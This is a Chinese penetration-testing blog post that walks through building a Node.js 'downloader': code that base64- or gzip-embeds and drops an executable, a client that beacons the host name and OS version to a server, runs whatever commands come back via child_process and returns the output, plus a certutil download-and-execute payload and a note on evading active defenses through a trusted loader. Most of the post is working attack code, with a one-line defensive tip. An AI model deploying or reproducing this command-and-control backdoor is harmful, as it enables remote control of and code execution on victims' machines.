渗透测试中的 Node.js——Downloader 的实现
0x00 前言
Node.js 是一个基于 Chrome V8 引擎的 JavaScript 运行环境,使用了一个事件驱动、非阻塞式 I/O 的模型,使其轻量又高效。
我最近在一篇文章中学到了利用 Node.js 绕过主动防御的技巧,于是对 Node.js 的语法进行了学习,开源一个 Downloader 的实现代码,分享脚本开发中需要注意的细节。
Node.js 绕过主动防御的学习地址:https://bbs.pediy.com/thread-249573.htm
0x01 简介
本文将要介绍以下内容:
- 基本概念
- 利用 Node.js 实现的文件释放
- 利用 Node.js 实现的 downloader
- 利用思路
- 防御建议
0x02 基本概念
Node.js 同 JavaScript 的区别
JavaScript 是一门语言
Node.js 是一个基于 Chrome V8 引擎的 JavaScript 运行环境
虽然在 Windows 平台下,二者的脚本文件后缀名都是.js,但二者之间的区别很大,语法也不同
Node.js 的使用
- 官方文档:https://nodejs.org/api/
- 中文资料:http://www.runoob.com/nodejs/nodejs-tutorial.html
- 下载地址:https://nodejs.org/en/download/
在 Windows 平台下,Node.js 代码保存在.js 后缀名的文件中,通过 node.exe 加载执行
Node.js 支持第三方包,可通过 npm 命令安装模块,实例如下:
安装 web 框架模块 express:
npm install express
使用模块 express:
var express = require('express');
注:本文涉及的代码均不使用第三方包,只使用安装包中的 node.exe
0x03 利用 Node.js 实现的文件释放
实现思路:
将 exe 文件做 base64 编码存储在文件中,释放时先读取文件进行解码,最后写入文件
1. 读取文件内容,做 base64 编码并输出到 data.txt
function base64_encode(file) {
var fs = require('fs');
var data = fs.readFileSync(file);
return Buffer.from(data).toString('base64');
}
var base64str = base64_encode('test.exe');
console.log(base64str);
注:fs.readFileSync
表示同步读取,异步读取使用 fs.readFile
执行:
node.js base64encode.js >data.txt
2. 读取 data.txt 中保存的加密字符串,base64 解码并生成新的文件 test2.exe
function base64_decode(base64str, file) {
var data = Buffer.from(base64str, 'base64');
fs.writeFileSync(file, data);
}
var fs = require('fs');
var base64str = fs.readFileSync('data.txt');
console.log(base64str.toString());
base64_decode(base64str.toString(), 'test2.exe');
注:使用代码 var base64str = fs.readFileSync('data.txt');
在读取文件后,变量 base64str 需要强制转换成字符串类型,即 base64str.toString()
为了缩小文件长度,加入压缩算法 gzip
1. 读取 test.exe 中的内容,做 gzip 压缩后保存到文件 data.gz
function gunzip(sourcePath) {
var zlib = require('zlib');
var fs = require('fs');
var unzip = zlib.createGunzip();
var rs = fs.createReadStream(sourcePath);
var ws = fs.createWriteStream('test2.exe');
rs.pipe(unzip).pipe(ws);
}
gunzip('data.gz');
2. 读取 data.gz 中的内容,做 gzip 解压缩后保存到文件 test2.exe
var zlib = require('zlib');
var fs = require('fs');
function gunzip(sourcePath) {
var unzip = zlib.createGunzip();
var rs = fs.createReadStream(sourcePath);
var ws = fs.createWriteStream('test2.exe');
rs.pipe(unzip).pipe(ws);
}
gunzip('data.gz');
0x04 利用 Node.js 实现的 downloader
实现思路:
1. Server
- 监听指定端口,等待客户端连接,记录客户端的 IP、连接时间和 post 数据
- 对客户端的数据包进行筛选,对符合条件 1 的客户端返回控制命令,对符合条件 2 的客户端在当前控制台显示客户端发来的命令执行结果,否则返回 404 页面
2. Client
- 连接指定服务器,发送固定格式的 post 数据,包括当前系统的主机名和操作系统版本
- 接收服务器返回的控制命令,执行后将结果再次发送到服务器
- 如果服务器未响应,等待一段时间后再次发送 post 请求
需要考虑如下问题:
1. 通过 Node.js 执行 cmd 命令
function runcmd(command) {
var childprocess = require('child_process');
childprocess.exec(command, (err, stdout, stderr) => {
if (err) {
console.error(err);
return;
}
console.log(stdout);
});
}
runcmd('whoami');
2. HTTP 通信的实现
Server:
var http = require('http');
var querystring = require('querystring');
http.createServer(function (req, res) {
var body = '';
console.log('req.url:',req.url);
req.on('data', function (chunk) {
body += chunk;
console.log("chunk:",chunk);
});
req.on('end', function () {
body = querystring.parse(body);
console.log('body:',body);
res.write('Message from server');
res.end();
});
}).listen(3000,'0.0.0.0');
Client:
function sendHello(host1,port1){
var http = require('http');
var querystring = require('querystring');
var contents = querystring.stringify({
data1:'str1',
data2:'str2'
});
var options = {
host: host1,
port: port1,
path: '/',
method:'POST',
headers:{
'Content-Type':'application/x-www-form-urlencoded',
'Content-Length':contents.length
}
}
console.log('post options:\n',options);
console.log('content:',contents);
var req = http.request(options, function(res){
console.log('headers:', res.headers);
var data1='';
res.on('data', function(chunk){
data1 += chunk;
});
res.on('end', function(){
console.log('result:',data1)
});
});
req.write(contents);
req.end;
};
sendHello('127.0.0.1','3000');
Client 向 Server 发送 post 数据,内容为 data1=str1&data2=str2
Server 收到请求后,向 Client 回复的内容为 Message from server
3. sleep 的实现
Node.js 默认不支持 sleep 操作,这里可以自己实现:
function sleep(milliSeconds){
var startTime =new Date().getTime();
while(new Date().getTime()< startTime + milliSeconds);
}
var timeinterval = +'5000';
sleep(timeinterval);
字符串类型转换为数字,可在前面加 +
4. Client 定时循环发送 post 请求
这里需要考虑异步和同步的问题
Node.js 是异步编程,但 Client 定时循环发送 post 请求需要使用同步实现,测试代码如下:
Server:
代码同上
Client:
function sleep(milliSeconds){
var startTime =new Date().getTime();
while(new Date().getTime()< startTime + milliSeconds);
}
function sendHello(host1,port1){
var http = require('http');
var querystring = require('querystring');
var contents = querystring.stringify({
data1:'str1',
data2:'str2'
});
var options = {
host: host1,
port: port1,
path: '/',
method:'POST',
headers:{
'Content-Type':'application/x-www-form-urlencoded',
'Content-Length':contents.length
}
}
console.log('post options:\n',options);
console.log('content:',contents);
var req = http.request(options, function(res){
console.log('headers:', res.headers);
var data1='';
res.on('data', function(chunk){
data1 += chunk;
});
res.on('end', function(){
console.log('result:',data1)
});
});
req.write(contents);
req.end;
};
while (true)
{
console.log('1');
sleep(5000);
sendHello('127.0.0.1','3000');
}
期待的结果:
Clinet 每隔 5 秒发送一个 post 请求,接收结果
实际的结果:
每隔 5 秒执行一次循环,但 Clinet 没有发出请求
由于我们最初的设想是不使用 npm,所以也无法使用 async 模块实现同步
最终,我通过方法嵌套解决了同步问题,示例如下:
function sleep(milliSeconds){
var startTime =new Date().getTime();
while(new Date().getTime()< startTime + milliSeconds);
}
function A(){
console.log('A');
B();
}
function B(){
console.log('B');
sleep(5000);
A();
}
A();
5. Server 显示 Client 的 IP
代码如下:
function getClientIp(req) {
return req.headers['x-forwarded-for'] ||
req.connection.remoteAddress ||
req.socket.remoteAddress ||
req.connection.socket.remoteAddress;
};
默认为格式为 ipv6,例如:
::ffff:127.0.0.1
可以通过修改 listen 的参数指定为 ipv4
修改前:
.listen(3000);
修改后:
.listen(3000,'0.0.0.0');
6. Server 判断 post 请求,不符合要求的回复 404
对 body 的内容进行判断即可
完整实现代码已开源,地址:
https://github.com/3gstudent/NodeJS-Downloader
注:开源的代码仅仅是一个示例,用作演示 NodeJS 的功能
用法如下:
需要先获得 node.exe,下载地址: https://nodejs.org/en/download/
1. 编辑文件 Server.js
可编译以下内容:
- 向 Client 发送的命令:
var command
- 监听端口:
.listen(80,'0.0.0.0');
2. 启动 Server
node.exe Server.js
监听指定端口,等待客户端连接,记录客户端的 IP、连接时间和 post 数据
对客户端的数据包进行筛选,对初次访问的客户端返回控制命令,对第二次访问的客户端在当前控制台显示客户端发来的命令执行结果,否则返回 404 页面
3. 编辑文件 Client.js
可编译以下内容:
- Server 的 IP:
var serverip
- Server 的端口:
var serverport
- 循环间隔时间:
var timeinterval
4. 启动 Client
node.exe Client.js
Client 将会连接 Server,发送固定格式的 post 数据,包括当前系统的主机名和操作系统版本
接下来接收 Server 返回的控制命令,执行后将结果再次发送到 Server
如果 Server 未响应,等待一段时间后再次发送 post 请求
0x05 利用思路
1、开源的代码支持多种 payload
可将 payload 设置为下载文件并执行,例如
var command = 'certutil -urlcache -split -f https://github.com/3gstudent/test/raw/master/putty.exe c:\\a.exe&&c:\\a.exe';
更多下载执行的命令可参考之前的文章 《渗透技巧——从 github 下载文件的多种方法》
注:发送 Client 退出的命令可使用:
var command = 'taskkill /f /im node.exe';
2、可被第三方可信程序加载
参考:https://bbs.pediy.com/thread-249573.htm
t.exe
-> node.exe
-> main.js
演示如图:
0x06 防御建议
对 t.exe 的子进程(node.exe) 行为进行判断,如果有可疑行为进行拦截
0x07 小结
本文介绍了在开发 Node.js 代码时需要注意的细节,开源了一段 Downloader 的测试代码,用来演示 Node.js 的功能。
简要分析在渗透测试中的利用思路,给出防御建议。
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

上一篇: 域渗透——DNS 记录的获取
下一篇: Jvm 常量池
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论